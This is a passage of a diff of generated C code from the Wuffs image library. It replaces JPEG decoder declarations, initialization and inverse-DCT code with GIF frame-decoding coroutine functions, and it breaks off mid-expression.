wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto ok; ++ ok: ++ self->private_impl.p_skip_frame = 0; ++ goto exit; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto suspend; ++ suspend: ++ self->private_impl.p_skip_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); ++ return status; ++} ++ ++// -------- func gif.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( +- wuffs_jpeg__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_gif__decoder__decode_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_jpeg__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_jpeg__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_jpeg__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_jpeg__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_jpeg__decoder__initialize( +- wuffs_jpeg__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; +- self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; +- self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-wuffs_jpeg__decoder* +-wuffs_jpeg__decoder__alloc(void) { +- wuffs_jpeg__decoder* x = +- (wuffs_jpeg__decoder*)(calloc(sizeof(wuffs_jpeg__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_jpeg__decoder__initialize( +- x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; + } +- return x; +-} + +-size_t +-sizeof__wuffs_jpeg__decoder(void) { +- return sizeof(wuffs_jpeg__decoder); +-} ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; + +-// ---------------- Function Implementations ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// -------- func jpeg.decoder.decode_idct ++// -------- func gif.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); +-} ++static wuffs_base__status ++wuffs_gif__decoder__do_decode_frame( ++ wuffs_gif__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_jpeg__decoder__decode_idct__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_dst_buffer, +- uint64_t a_dst_stride, +- uint32_t a_q) { +- uint32_t v_bq0 = 0; +- uint32_t v_bq2 = 0; +- uint32_t v_bq4 = 0; +- uint32_t v_bq6 = 0; +- uint32_t v_ca = 0; +- uint32_t v_cb2 = 0; +- uint32_t v_cb6 = 0; +- uint32_t v_ccp = 0; +- uint32_t v_ccm = 0; +- uint32_t v_cd0 = 0; +- uint32_t v_cd1 = 0; +- uint32_t v_cd2 = 0; +- uint32_t v_cd3 = 0; +- uint32_t v_bq1 = 0; +- uint32_t v_bq3 = 0; +- uint32_t v_bq5 = 0; +- uint32_t v_bq7 = 0; +- uint32_t v_ci51 = 0; +- uint32_t v_ci53 = 0; +- uint32_t v_ci71 = 0; +- uint32_t v_ci73 = 0; +- uint32_t v_cj = 0; +- uint32_t v_ck1 = 0; +- uint32_t v_ck3 = 0; +- uint32_t v_ck5 = 0; +- uint32_t v_ck7 = 0; +- uint32_t v_cl51 = 0; +- uint32_t v_cl73 = 0; +- uint32_t v_in0 = 0; +- uint32_t v_in2 = 0; +- uint32_t v_in4 = 0; +- uint32_t v_in6 = 0; +- uint32_t v_ra = 0; +- uint32_t v_rb2 = 0; +- uint32_t v_rb6 = 0; +- uint32_t v_rcp = 0; +- uint32_t v_rcm = 0; +- uint32_t v_rd0 = 0; +- uint32_t v_rd1 = 0; +- uint32_t v_rd2 = 0; +- uint32_t v_rd3 = 0; +- uint32_t v_in1 = 0; +- uint32_t v_in3 = 0; +- uint32_t v_in5 = 0; +- uint32_t v_in7 = 0; +- uint32_t v_ri51 = 0; +- uint32_t v_ri53 = 0; +- uint32_t v_ri71 = 0; +- uint32_t v_ri73 = 0; +- uint32_t v_rj = 0; +- uint32_t v_rk1 = 0; +- uint32_t v_rk3 = 0; +- uint32_t v_rk5 = 0; +- uint32_t v_rk7 = 0; +- uint32_t v_rl51 = 0; +- uint32_t v_rl73 = 0; +- uint32_t v_intermediate[64] = {0}; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (8u > a_dst_stride) { +- return wuffs_base__make_empty_struct(); +- } +- if (0u == (self->private_data.f_mcu_blocks[0u][8u] | +- self->private_data.f_mcu_blocks[0u][16u] | +- self->private_data.f_mcu_blocks[0u][24u] | +- self->private_data.f_mcu_blocks[0u][32u] | +- self->private_data.f_mcu_blocks[0u][40u] | +- self->private_data.f_mcu_blocks[0u][48u] | +- self->private_data.f_mcu_blocks[0u][56u])) { +- v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); +- v_intermediate[8u] = v_intermediate[0u]; +- v_intermediate[16u] = v_intermediate[0u]; +- v_intermediate[24u] = v_intermediate[0u]; +- v_intermediate[32u] = v_intermediate[0u]; +- v_intermediate[40u] = v_intermediate[0u]; +- v_intermediate[48u] = v_intermediate[0u]; +- v_intermediate[56u] = v_intermediate[0u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_quirks[5u] && ((self->private_impl.f_frame_rect_x0 == self->private_impl.f_frame_rect_x1) || (self->private_impl.f_frame_rect_y0 == self->private_impl.f_frame_rect_y1))) { ++ status = wuffs_base__make_status(wuffs_gif__error__bad_frame_size); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_id_part1(self, a_dst, a_src, a_blend); ++ if (status.repr) { ++ goto suspend; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_id_part2(self, a_dst, a_src, a_workbuf); ++ if (status.repr) { ++ goto suspend; ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ wuffs_gif__decoder__reset_gc(self); ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][9u] | +- self->private_data.f_mcu_blocks[0u][17u] | +- self->private_data.f_mcu_blocks[0u][25u] | +- self->private_data.f_mcu_blocks[0u][33u] | +- self->private_data.f_mcu_blocks[0u][41u] | +- self->private_data.f_mcu_blocks[0u][49u] | +- self->private_data.f_mcu_blocks[0u][57u])) { +- v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); +- v_intermediate[9u] = v_intermediate[1u]; +- v_intermediate[17u] = v_intermediate[1u]; +- v_intermediate[25u] = v_intermediate[1u]; +- v_intermediate[33u] = v_intermediate[1u]; +- v_intermediate[41u] = v_intermediate[1u]; +- v_intermediate[49u] = v_intermediate[1u]; +- v_intermediate[57u] = v_intermediate[1u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); +- v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); +- v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); +- v_intermediate[1u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); +- v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); +- v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); +- v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); +- v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); +- v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); +- v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); +- v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func gif.decoder.reset_gc ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_gif__decoder__reset_gc( ++ wuffs_gif__decoder* self) { ++ self->private_impl.f_gc_has_transparent_index = false; ++ self->private_impl.f_gc_transparent_index = 0u; ++ self->private_impl.f_gc_disposal = 0u; ++ self->private_impl.f_gc_duration = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func gif.decoder.decode_up_to_id_part1 ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_gif__decoder__decode_up_to_id_part1( ++ wuffs_gif__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_block_type = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (0u == (self->private_data.f_mcu_blocks[0u][10u] | +- self->private_data.f_mcu_blocks[0u][18u] | +- self->private_data.f_mcu_blocks[0u][26u] | +- self->private_data.f_mcu_blocks[0u][34u] | +- self->private_data.f_mcu_blocks[0u][42u] | +- self->private_data.f_mcu_blocks[0u][50u] | +- self->private_data.f_mcu_blocks[0u][58u])) { +- v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); +- v_intermediate[10u] = v_intermediate[2u]; +- v_intermediate[18u] = v_intermediate[2u]; +- v_intermediate[26u] = v_intermediate[2u]; +- v_intermediate[34u] = v_intermediate[2u]; +- v_intermediate[42u] = v_intermediate[2u]; +- v_intermediate[50u] = v_intermediate[2u]; +- v_intermediate[58u] = v_intermediate[2u]; +- } else { +- v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); +- v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); +- v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); +- v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); +- v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); +- v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); +- v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); +- v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); +- v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); +- v_cd0 = ((uint32_t)(v_ccp + v_cb2)); +- v_cd1 = ((uint32_t)(v_ccm + v_cb6)); +- v_cd2 = ((uint32_t)(v_ccm - v_cb6)); +- v_cd3 = ((uint32_t)(v_ccp - v_cb2)); +- v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); +- v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); +- v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); +- v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); +- v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); +- v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); +- v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); +- v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); +- v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); +- v_ck1 = ((uint32_t)(v_bq1 * 12299u)); +- v_ck3 = ((uint32_t)(v_bq3 * 25172u)); +- v_ck5 = ((uint32_t)(v_bq5 * 16819u)); +- v_ck7 = ((uint32_t)(v_bq7 * 2446u)); +- v_ci51 *= 4294964100u; +- v_ci53 *= 4294946301u; +- v_ci71 *= 4294959923u; +- v_ci73 *= 4294951227u; +- v_cl51 = ((uint32_t)(v_ci51 + v_cj)); +- v_cl73 = ((uint32_t)(v_ci73 + v_cj)); +- v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); +- v_ck3 += ((uint32_t)(v_ci53 + 